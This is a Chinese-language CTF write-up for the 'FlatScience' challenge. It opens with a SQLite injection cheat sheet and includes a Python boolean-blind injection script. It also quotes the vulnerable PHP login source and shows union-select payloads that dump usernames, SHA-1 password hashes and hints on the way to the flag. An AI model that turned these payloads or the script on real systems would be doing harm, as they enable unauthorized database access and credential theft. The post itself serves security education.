NineOnee

导航

 

FlatScience

知识点

SQLite注入

SQLite数据库只有它本身一个数据库,有一个sqlite_master隐藏表,里面存放我们建表的记录

有个重要的点值得注意,SQLite 是不区分大小写的,但也有一些命令是大小写敏感的,比如 GLOB和 glob 在 SQLite 的语句中有不同的含义。

注释符:-- 或者 /**/或者#

payload:

爆表

1' union select 1,name from sqlite_master where type='table' order by name--

爆建表记录

1' union select name,sql from sqlite_master--

爆具体字段

1' union select 11,[column_name] from [table_name] limit 0,1

注:通过limit来进行位移,爆出所有数据

也可以通过group_concat

1' union select 11,group_concat([column_name]) from [table_name] --

错误姿势

进去题目,所有页面都访问一下,发现全是pdf文件,然后我们是试着用dirsearch扫一下。

返回了 login.php , admin.php ,robots.txt

我们访问robots.txt,提示的是login.php和admin.php

然后再访问admin.php,右键看源码,没有提示,sqlmap扫一下,没有sql注入点。

再访问login.php,右键看下源码,没有提示(实际上没看到),并且sqlmap扫一下,有sql注入点。

然后再根据sqlmap提示,这是个SQLite3的数据库,并且注入类型是bool盲注。然后我就在网上查询了SQLite3的注入方式,写了个脚本

import requests

import sys

url='http://220.249.52.133:50481/login.php'
#sql="admin' and substr((select group_concat(name) from Users limit 0,1),{0},1)='{1}' --"
#sql="admin' and substr((select group_concat(id) from Users limit 0,1),{0},1)='{1}' --"
#sql="admin' and substr((select group_concat(password) from Users limit 0,1),{0},1)='{1}' --"
#sql="admin' and substr((select group_concat(hint) from Users limit 0,1),{0},1)='{1}' --"
sql="admin' and substr((select sql from sqlite_master limit 0,1),{0},1)='{1}' --"
headers={
"Host": "220.249.52.133:38783",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "143",
"Origin": "http://220.249.52.133:38783",
"Connection": "close",
"Referer": "http://220.249.52.133:38783/login.php",
"Cookie": "PHPSESSID=f16c520bbc0d80681718cdb839ea6d04",
"Upgrade-Insecure-Requests": "1"
}
flag=''
for i in range(1,150):
	print('guess',str(i))
	for ch in range(32,128):

		sqli=sql.format(i,chr(ch))
		data={"usr":sqli,"pw":"12345"}
		response=requests.post(url,data=data,headers=headers).text

		if (len(response)==1023):
			flag+=chr(ch)
			print(flag)
			break

虽然最后跑出来了数据库具体内容但是时间非常久,不划算。在写脚本中忘记加headers头,搞了很久。。

跑出来了之后在!https://www.somd5.com/解密一下admin对应的md5,ThinJerboaSalz!

然后去admin.php登录,死活密码错误。无奈看了wp

正确姿势

原来我没有看见login.php页面处源码的提示

构造?debug=111

回显源码

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

根据源码,我们发现后台数据库是SQLite3,并且未对两个参数进行过滤,存在注入,而且注入回显点在第二个位置,并且回显在cookie里

我们抓包进行注入

构造

1' union select name,sql from sqlite_master limit 0,1 --

回显CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

我们知道了有Users表,里面列名是id,name,password,hint

构造

1' union select 11,group_concat(id) from Users --

回显1,2,3

构造

1' union select 11,group_concat(name) from Users --

回显admin,fritze,hansi

构造

1' union select 11,group_concat(password) from Users --

回显3fab54a50e770d830c0416df817567662a9dc85c,54eae8935c90f467427f05e4ece82cf569f89507,34b0bb7c304949f9ff2fc101eef0f048be10d3bd

构造

1' union select 11,group_concat(hint) from Users --

回显

my fav word in my fav paper?!,my love is…?,the password is password;

我们用admin对应的md5值去进行解密

得到了ThinJerboaSalz!

然后再根据后代源码

$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");

得到$pass=ThinJerboa

进行登录,拿到flag

网上有大佬用python脚本进行破解的,python太菜了,着实看不懂,也写不出。。。。

posted on 2020-11-02 21:45  NineOne_E  阅读(205)  评论(0编辑  收藏  举报